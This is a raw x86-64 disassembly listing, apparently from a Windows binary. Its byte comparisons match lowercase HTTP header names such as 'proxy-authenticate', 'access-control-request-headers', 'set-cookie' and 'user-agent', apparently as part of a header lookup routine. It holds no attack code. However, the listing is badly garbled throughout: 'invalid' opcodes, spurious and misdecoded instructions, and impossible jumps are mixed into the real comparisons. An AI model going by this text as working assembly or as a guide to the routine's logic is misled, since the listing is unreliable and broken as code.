cmp byte [rcx + 1], 0x72
jne case.0x14002f13e.103
invalid
invalid
cmp byte [rcx + 0x11], 0x6f
jne case.0x14002f13e.103
add byte [rax + 0xaf2e915], dh
add byte [rax], al
mov al, 0x15
jmp 0x1400304bd
cmp byte [rcx], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x72
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf6f0279], al
cmp byte [rcx + 2], 0x6f
jns 0x14002f9e3
add ch, byte [rdi + 0xf]
outsd dx, dword [rsi]
jne case.0x14002f13e.103
test dword [rcx - 0x7fffffe8], eax
jns 0x14002f9ee
cmp byte [rcx + 3], 0x78
jne case.0x14002f13e.103
js case.0x14002b1c9.198
test dword [rdi + 0x18], esi
ja 0x14002fa08
add byte [rax], al
cmp byte [rcx + 4], 0x79
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x61
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 7], 0x75
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x74
jne case.0x14002f13e.103
or byte [rdi + rcx - 0x7b], dh
sbb byte [r8], r8b
add byte [rax + 0xf680979], al
test dword [rbx], edi
sbb byte [rax], al
add byte [rax + 0xf650a79], al
test dword [rcx], esi
sbb byte [rax], al
add byte [rax + 0xf6e0b79], al
test dword [rdi], esp
cmp byte [rcx + 9], 0x68
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x6e
jne case.0x14002f13e.103
sbb byte [rax], al
invalid
sbb byte [rax], al
add byte [rax + 0xf740c79], al
test dword [0xc002fa65], ebx
jns 0x14002fa5c
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f13e.103
imul ecx, dword [rdi], 0x181385
add byte [rax + 0xf630e79], al
test dword [rcx], ecx
sbb byte [rax], al
add byte [rax + 0xf610f79], al
test edi, edi
call qword [rdi]
cmp byte [rcx + 0xe], 0x63
jne case.0x14002f13e.103
or dword [rax], ebx
add byte [rax], al
cmp byte [rcx + 0xf], 0x61
jne case.0x14002f13e.103
call qword [rdi]
add byte [rax], al
call qword [rdi]
add byte [rax], al
cmp byte [rcx + 0x10], 0x74
jne case.0x14002f13e.103
cmc
invalid
add byte [rax], al
jns 0x14002fa7d
je 0x14002fa7e
test ebp, esi
cmc
invalid
mov al, 0x32
mov dl, 0x65
mov r8d, 0x11
add cl, ch
mov al, 0xed
invalid
jmp 0x14002e833
movzx edx, byte [rcx]
mov dh, 0x11
cmp edx, 0x78
je 0x140030599
cmp edx, 0x73
je 0x1400304ca
cmp edx, 0x61
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf630179], al
test dword [rsi - 0x7fffffe9], edi
jns 0x14002fab0
cmp byte [rcx + 1], 0x63
jne case.0x14002f13e.103
invalid
test dword [rdi + rdx + 0x79800000], esi
add esp, dword [rbp + 0xf]
test dword [rdx - 0x7fffffe9], ebp
jns 0x14002fac6
jae 0x14002fad3
test dword [rax - 0x7fffffe9], esp
jns 0x14002fad1
invalid
jae 0x14002fadd
test dword [rsi - 0x7fffffe9], edx
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
jns 0x14002fadc
sub eax, 0x178c850f
add byte [rax], al
add byte [rax + 0xf630779], al
test dword [rdx - 0x7fffffe9], eax
jns 0x14002faf2
cmp byte [rcx + 7], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x6e
jns 0x14002fafd
outsb dx, byte [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f13e.103
or dh, byte [rdi + rcx - 0x7b]
invalid
cmp byte [rcx + 0xb], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x6d
jne case.0x14002f13e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x10], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x78
jne case.0x14002f13e.103
cmp byte [rcx + 0x12], 0x2d
jne case.0x14002f13e.103
jns case.0x14002da55.34
sub eax, 0x1714850f
add byte [rax], al
cmp byte [rcx + 0x13], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x67
jne case.0x14002f13e.103
jns 0x14002fb76
jne case.0x14002f13e.103
mov al, 0xa
mov dl, 0x65
mov r8d, 0x15
jmp 0x14002e833
invalid
cmp byte [rcx], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002f13e.103
jns 0x14002fba6
jae 0x14002fbb3
test eax, eax
invalid
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
jns 0x14002fbbc
sub eax, 0x16ac850f
add byte [rax], al
add byte [rax + 0xf630779], al
test dword [rdx - 0x7fffffea], esp
jns 0x14002fbd2
cmp byte [rcx + 7], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
add byte [rax + 0xf6e0979], al
test dword [rsi - 0x7fffffea], ecx
jns 0x14002fbe8
cmp byte [rcx + 9], 0x6e
jns 0x14002fbdd
outsb dx, byte [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f13e.103
or dh, byte [rdi + rcx - 0x7b]
test byte [rsi], dl
add byte [rax], al
cmp byte [rcx + 0xb], 0x72
jne case.0x14002f13e.103
je 0x14002fbef
test dword [rsi + rdx + 0x79800000], eax
or esi, dword [rdx + 0xf]
jb 0x14002fbf9
test dword [rdx + 0x16], edi
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f13e.103
jns 0x14002fc14
sub eax, 0x165c850f
add byte [rax], al
cmp byte [rcx + 0xf], 0x72
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 0x10], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x71
jne case.0x14002f13e.103
cmp byte [rcx + 0x12], 0x75
jne case.0x14002f13e.103
cmp byte [rcx + 0x13], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 0x15], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0x16], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0x17], 0x68
jne case.0x14002f13e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x18], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x19], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 0x1a], 0x64
jne case.0x14002f13e.103
cmp byte [rcx + 0x1b], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x1c], 0x72
jne case.0x14002f13e.103
jns 0x14002fcae
jb 0x14002fca3
test eax, edx
adc eax, 0xbb00000
mov al, 0xb
mov dl, 0x73
mov r8d, 0x1d
jmp 0x14002e833
cmp byte [rcx], 0x61
jne case.0x14002f13e.103
adc eax, 0x79800000
add dword [rbx + 0xf], esp
test dword [rsi - 0x7fffffeb], ebp
jns 0x14002fcc0
cmp byte [rcx + 1], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
invalid
test dword [rbp + rdx + 0x79800000], esp
add esp, dword [rbp + 0xf]
test dword [rdx - 0x7fffffeb], ebx
jns 0x14002fcd6
invalid
cmp byte [rcx + 3], 0x65
jne case.0x14002f13e.103
add al, 0x73
jne case.0x14002f13e.103
jae 0x14002fce3
test dword [rax - 0x7fffffeb], edx
jns 0x14002fce1
adc eax, 0x79800000
add eax, 0x86850f73
adc eax, 0x79800000
invalid
cmp byte [rcx + 5], 0x73
jne case.0x14002f13e.103
jae 0x14002fced
test dword [rsi - 0x7fffffeb], eax
jns 0x14002fcec
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
sub eax, 0x157c850f
add byte [rax], al
add byte [rax + 0xf630779], al
test dword [rdx + 0x15], esi
add byte [rax], al
cmp byte [rcx + 7], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f13e.103
movzx edx, byte [rcx + 0xf]
cmp edx, 0x72
je 0x1400311e5
cmp edx, 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x10], 0x78
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0x13], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x15], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0x16], 0x68
jne case.0x14002f13e.103
test eax, edx
adc al, 0
invalid
test eax, edx
adc al, 0
add byte [rax + 0xf651779], al
test esi, eax
adc al, 0
add byte [rax + 0xf611879], al
test dword [rsp + rdx + 0x79800000], edi
sbb dword [rdi + rcx - 0x7b], esp
mov dl, 0x14
add byte [rax], al
cmp byte [rcx + 0x17], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x18], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 0x19], 0x64
jne case.0x14002f13e.103
cmp byte [rcx + 0x1a], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x1b], 0x72
jne case.0x14002f13e.103
mov al, 9
mov dl, 0x73
mov r8d, 0x1c
jmp 0x14002e833
cmp byte [rcx + 1], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x67
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x72
jne case.0x14002f13e.103
test dword [rcx + 0x14], esi
add byte [rax], al
test dword [rcx + 0x14], esi
add byte [rax], al
cmp byte [rcx + 4], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x64
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x69
jne case.0x14002f13e.103
test dword [rdi], edi
adc al, 0
invalid
test dword [rdi], edi
adc al, 0
add byte [rax + 0xf6e0979], al
test dword [0xc002fe49], esi
jns 0x14002fe41
cmp byte [rcx + 9], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x73
jne case.0x14002f13e.103
jae 0x14002fe48
test dword [rbx], ebp
adc al, 0
add byte [rax + 0xf650b79], al
test dword [rcx], esp
adc al, 0
add byte [rax + 0xf630c79], al
test dword [rdi], edx
adc al, 0
add byte [rax + 0xf750d79], al
test dword [0xc002fe71], ecx
jns 0x14002fe6d
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x75
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x72
jne case.0x14002f13e.103
jb 0x14002fe70
test dword [rbx], eax
adc al, 0
add byte [rax + 0xf650f79], al
test ecx, edi
cmp byte [rcx + 0xf], 0x65
jne case.0x14002f13e.103
adc eax, dword [rax]
add byte [rax + 0xf2d1079], al
test edi, ebp
adc eax, dword [rax]
add byte [rax + 0xf721179], al
test ebp, esp
adc eax, dword [rax]
add byte [rax + 0xf651279], al
test ebx, ebx
adc eax, dword [rax]
add byte [rax + 0xf711379], al
test ecx, edx
adc eax, dword [rax]
add byte [rax + 0xf751479], al
cmp byte [rcx + 0x14], 0x75
jne case.0x14002f13e.103
cmp byte [rcx + 0x15], 0x65
jne case.0x14002f13e.103
invalid
jns 0x14002fec5
invalid
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0x12], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x13], 0x71
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x75
jne case.0x14002f13e.103
cmp byte [rcx + 0x15], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x16], 0x73
jne case.0x14002f13e.103
invalid
jae 0x14002fec0
test dword [rbx - 0x7fffffed], esi
jns 0x14002fed0
cmp byte [rcx + 0x17], 0x74
jne case.0x14002f13e.103
je 0x14002feca
test dword [rcx - 0x4fffffed], ebp
mov dl, 0x73
mov al, 0x48
mov dl, 0x73
mov r8d, 0x18
mov eax, 0x18
jmp 0x14002e833
cmp byte [rcx + 1], 0x61
jns 0x14002fed3
invalid
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x78
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x6f
jns 0x14002ff3e
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x74
jne case.0x14002f13e.103
je case.0x140019144.831
test ebx, esi
adc al, byte [rax]
add byte [rax + 0xf2d0779], al
test ecx, ebp
adc al, byte [rax]
add byte [rax + 0xf6c0879], al
cmp byte [rcx + 8], 0x6c
invalid
test edi, ebx
adc al, byte [rax]
cmp byte [rcx + 8], 0x6c
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf650979], al
test ebp, edx
adc al, byte [rax]
add byte [rax + 0xf6e0a79], al
test ebx, ecx
adc al, byte [rax]
add byte [rax + 0xf670b79], al
test ecx, eax
adc al, byte [rax]
cmp byte [rcx + 9], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x67
jne case.0x14002f13e.103
add byte [rax + 0xf740c79], al
test dword [rdi - 0x4fffffee], esi
sbb byte [rdx + 0xdb84168], dh
add byte [rax], al
add cl, ch
jb 0x14002ffa7
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f13e.103
mov al, 0x18
mov dl, 0x68
mov r8d, 0xd
jmp 0x14002e833
invalid
invalid
inc dword [rax + 0xf750179]
test dword [rsi - 0x7fffffee], ebx
jns 0x14002ffd0
cmp byte [rcx + 1], 0x75
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x62
jne case.0x14002f13e.103
invalid
test dword [rdx + rdx + 0x79800000], edx
add ebp, dword [rdi + rcx - 0x7b]
mov dl, byte [rdx]
add byte [rax], al
cmp byte [rcx + 4], 0x69
jne case.0x14002f13e.103
invalid
adc byte [rdx], 0
invalid
cmp byte [rcx + 3], 0x6c
jne case.0x14002f13e.103
test dword [rax - 0x7fffffee], eax
jns 0x14002fff1
cmp byte [rcx + 5], 0x63
jne case.0x14002f13e.103
invalid
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x6b
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x79
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x69
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf6e0d79], al
test dword [rsi], esp
adc al, byte [rax]
add byte [rax + 0xf730e79], al
cmp byte [rcx + 0xd], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x73
jne case.0x14002f13e.103
test dword [rdx + rdx], ebx
add byte [rax], al
test dword [rdx + rdx], ebx
add byte [rax], al
cmp byte [rcx + 0xf], 0x2d
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x10], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x12], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 0x13], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0x15], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0x16], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0x17], 0x6f
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf6e1879], al
test dword [rax - 0x7fffffef], edi
jns 0x1400300cd
cmp byte [rcx + 0x18], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 0x19], 0x6c
insb byte [rdi], dx
jne case.0x14002f13e.103
add byte [rax], al
mov al, 0x35
mov dl, 0x79
mov r8d, 0x1a
jmp 0x14002e833
cmp byte [rcx + 1], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf610379], al
cmp byte [rcx + 3], 0x61
jne case.0x14002f13e.103
invalid
invalid
adc dword [rax], eax
invalid
test dword [rcx - 0x7fffffef], eax
jns 0x1400300ef
je 0x1400300fc
test dword [rdi + 0x11], esi
add byte [rax], al
cmp byte [rcx + 5], 0x69
jne case.0x14002f13e.103
adc dword [rax], eax
add byte [rax + 0xf690579], al
test dword [rbp + 0x11], ebp
add byte [rax], al
cmp byte [rcx + 6], 0x6f
jne case.0x14002f13e.103
mov al, 0x2e
mov dl, 0x6e
mov r8d, 7
jmp 0x14002e833
cmp byte [rcx + 1], 0x61
jne case.0x14002f13e.103
test dword [rdx + 0x11], ecx
add byte [rax], al
cmp byte [rcx + 2], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x67
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x6e
jne case.0x14002f13e.103
mov al, 0x1f
mov dl, 0x74
mov r8d, 2
jmp 0x14002e833
cmp byte [rcx + 1], 0x69
jne case.0x14002f13e.103
mov al, 0x4a
mov dl, 0x61
mov r8d, 2
jmp 0x14002e833
cmp byte [rcx + 1], 0x77
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x77
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x2d
jne case.0x14002f13e.103
test dword [rax + 0x10], ebx
add byte [rax], al
test dword [rax + 0x10], ebx
add byte [rax], al
cmp byte [rcx + 2], 0x78
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x73
jne case.0x14002f13e.103
jae 0x140030239
test dword [rdx], edi
adc byte [rax], al
add byte [rax + 0xf2d0579], al
test dword [rax], esi
adc byte [rax], al
add byte [rax + 0xf700679], al
invalid
jo 0x14003024d
test dword [rsi], esp
adc byte [rax], al
add byte [rax + 0xf720779], al
test dword [rax + rdx], ebx
add byte [rax], al
cmp byte [rcx + 6], 0x70
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 7], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x6f
jne case.0x14002f13e.103
mov al, 0x50
jmp 0x140031197
cmp byte [rcx + 1], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x74
jne case.0x14002f13e.103
jns 0x1400302bf
invalid
sldt word [rax]
cmp byte [rcx + 5], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x6b
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x69
jne case.0x14002f13e.103
mov al, 0x41
mov dl, 0x65
mov r8d, 9
jmp 0x14002e833
cmp byte [rcx + 1], 0x66
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x2d
jne case.0x14002f13e.103
test dword [rsi], edi
sldt word [rax]
cmp byte [rcx + 6], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x64
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x69
jne case.0x14002f13e.103
imul ecx, dword [rdi], 0xf2085
add byte [rax + 0xf660979], al
test dword [rsi], edx
sldt word [rax]
cmp byte [rcx + 9], 0x66
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x64
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f13e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0xe], 0x73
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xf], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0x10], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x63
jne case.0x14002f13e.103
mov al, 0x2b
mov dl, 0x65
mov r8d, 0x12
jmp 0x14002e833
cmp byte [rcx + 1], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x72
jne case.0x14002f13e.103
cdq
invalid
add byte [rax], al
add esi, dword [rdx + 0xf]
test dword [rcx - 0x7ffffff2], ebx
cdq
invalid
jns 0x1400303d7
sub eax, 0xe8f850f
add byte [rax], al
invalid
cmp byte [rcx + 5], 0x61
jne case.0x14002f13e.103
test dword [rsi], ecx
add byte [rax], al
test dword [rsi], ecx
add byte [rax], al
cmp byte [rcx + 6], 0x67
jne case.0x14002f13e.103
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x65
jne case.0x14002f13e.103
jno 0x140030404
add byte [rax], al
jno 0x140030404
add byte [rax], al
cmp byte [rcx + 8], 0x6e
jne case.0x14002f13e.103
mov al, 0x46
mov dl, 0x74
mov dl, 0x74
mov r8d, 9
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add cl, ch
and ah, ah
invalid
jmp 0x14002e833
cmp byte [rcx + 1], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x78
jne case.0x14002f13e.103
invalid
add byte [rax], al
invalid
jns 0x140030436
jns 0x140030443
test dword [rax], esi
invalid
cmp byte [rcx + 6], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x75
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x74
jne case.0x14002f13e.103
or byte [rsi], cl
add byte [rax], al
or byte [rsi], cl
add byte [rax], al
cmp byte [rcx + 9], 0x68
jne case.0x14002f13e.103
push 0xdfe850f
add byte [rax], al
cmp byte [rcx + 0xa], 0x6f
jne case.0x14002f13e.103
hlt
invalid
add byte [rax], al
hlt
cmp byte [rcx + 0xb], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x69
jne case.0x14002f13e.103
jns 0x14003048e
imul ecx, dword [rdi], 0xde085
add byte [rax + 0xf7a0d79], al
invalid
cmp byte [rcx + 0xd], 0x7a
jne case.0x14002f13e.103
test esi, edx
or eax, 0x79800000
invalid
add byte [rax + 0xf610e79], al
test esp, ecx
or eax, 0x79800000
cmp byte [rcx + 0xf], 0x74
jne case.0x14002f13e.103
add byte [rax], al
cmp byte [rcx + 0x10], 0x69
jne case.0x14002f13e.103
invalid
jns 0x1400304c5
cmp byte [rcx + 0xe], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x74
jne case.0x14002f13e.103
add byte [rax], al
cmp byte [rcx + 0x10], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
scasb al, byte [rdi]
or eax, 0x33b00000
invalid
mov al, 0x33
xor esi, dword [rdx + 0x12b8416e]
add byte [rax], al
add cl, ch
imul esp, ebx, 0x7980ffff
invalid
inc dword [rax + 0xf650179]
test dword [rbp - 0x7ffffff3], edx
invalid
jns case.0x140019144.869
mov dl, 0x6e
mov r8d, 0x12
adc al, byte [rax]
add byte [rax], al
adc al, byte [rax]
add byte [rax], al
jmp 0x14002e833
cmp byte [rcx + 1], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
invalid
invalid
invalid
add byte [rax], al
invalid
test dword [rbx - 0x7ffffff3], ecx
jns 0x1400304e4
sub eax, 0xd81850f
or dword [0x1b98304ee], 0x850f7704
add byte [rax], al
cmp byte [rcx + 4], 0x77
jne case.0x14002f13e.103
ja 0x1400304fd
add byte [rax], al
ja 0x1400304fd
add byte [rax], al
cmp byte [rcx + 5], 0x65
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 6], 0x62
jns 0x140030505
invalid
jne case.0x14002f13e.103
test dword [rbx + 0xd], esp
add byte [rax], al
add byte [rax + 0xf730779], al
test dword [rcx + 0xd], ebx
add byte [rax], al
cmp byte [rcx + 7], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002f13e.103
invalid
invalid
add byte [rax], al
or rax, 0x79800000
or dword [rbx + 0xf], esp
test dword [rbp + 0xd], eax
invalid
add byte [rax], al
cmp byte [rcx + 9], 0x63
jne case.0x14002f13e.103
invalid
add byte [rax], al
or eax, 0x79800000
or ch, byte [rbx + 0xf]
test dword [rbx], edi
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002f13e.103
invalid
add byte [rax], al
jns 0x140030531
imul ecx, dword [rdi], 0xffffff85
cmp ecx, dword [0x1b9830530]
or eax, 0x79800000
or eax, 0x79800000
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f13e.103
or esp, dword [rbp + 0xf]
test dword [rcx], esi
or eax, 0x79800000
jns 0x140030547
invalid
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x74
jns 0x140030547
je 0x14003054c
jne case.0x14002f13e.103
test dword [rdi], esp
or eax, 0x79800000
or eax, 0x1d850f2d
or eax, 0x79800000
add byte [rax], al
invalid
jns 0x14003055d
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f13e.103
add byte [rax], al
test dword [0xc003055a], ebx
add byte [rax], al
cmp byte [rcx + 0xe], 0x70
jne case.0x14002f13e.103
invalid
add byte [rax], al
jns 0x14003055d
jo 0x140030560
test dword [rbx], edx
or eax, 0x79800000
invalid
cmp byte [rcx + 0xf], 0x72
jne case.0x14002f13e.103
or eax, 0x79800000
adc byte [rdi + 0xf], ch
cmp byte [rcx + 0x10], 0x6f
jne case.0x14002f13e.103
test edi, edi
or al, 0
invalid
test edi, edi
or al, 0
add byte [rax + 0xf741179], al
test ebp, esi
cmp byte [rcx + 0x11], 0x74
jne case.0x14002f13e.103
or al, 0
invalid
or al, 0
add byte [rax + 0xf6f1279], al
test ebx, ebp
or al, 0
add byte [rax + 0xf631379], al
test ecx, esp
or al, 0
add byte [rax + 0xf6f1479], al
test edi, edx
or al, 0
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0x13], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x6f
jne case.0x14002f13e.103
invalid
add byte [rax + 0xb10e93e], dh
add byte [rax], al
mov al, 0x3e
jmp case.0x14002da55.113
cmp byte [rcx + 1], 0x2d
jne case.0x14002f13e.103
movzx edx, byte [rcx + 2]
cmp edx, 0x64
je 0x140030ff3
or al, byte [rax]
add byte [rbx - 0x7af09c06], al
mov al, 0xc
add byte [rax], al
add byte [rax], al
cmp edx, 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x6f
jne case.0x14002f13e.103
add ebp, dword [rdi + 0xf]
test dword [rsi - 0x7ffffff4], esp
jns 0x1400305ca
invalid
cmp byte [rcx + 4], 0x6e
add al, 0x6e
outsb dx, byte [rsi]
jne case.0x14002f13e.103
or al, 0
add byte [rax + 0xf740579], al
je 0x1400305e1
cmp byte [rcx + 5], 0x74
jne case.0x14002f13e.103
add byte [rax], al
je 0x1400305e1
test dword [rdx - 0x7ffffff4], edx
jns 0x1400305e0
add byte [rax + 0xf650679], al
test dword [rax - 0x7ffffff4], ecx
jns 0x1400305eb
cmp byte [rcx + 6], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
add byte [rax + 0xf6e0779], al
test dword [rsi + 0xc], edi
add byte [rax], al
cmp byte [rcx + 7], 0x6e
outsb dx, byte [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x74
jne case.0x14002f13e.103
je 0x1400305ff
test dword [rsp + rcx], esi
add byte [rax + 0xf2d0979], al
test dword [rdx + 0xc], ebp
add byte [rax], al
cmp byte [rcx + 9], 0x2d
jne case.0x14002f13e.103
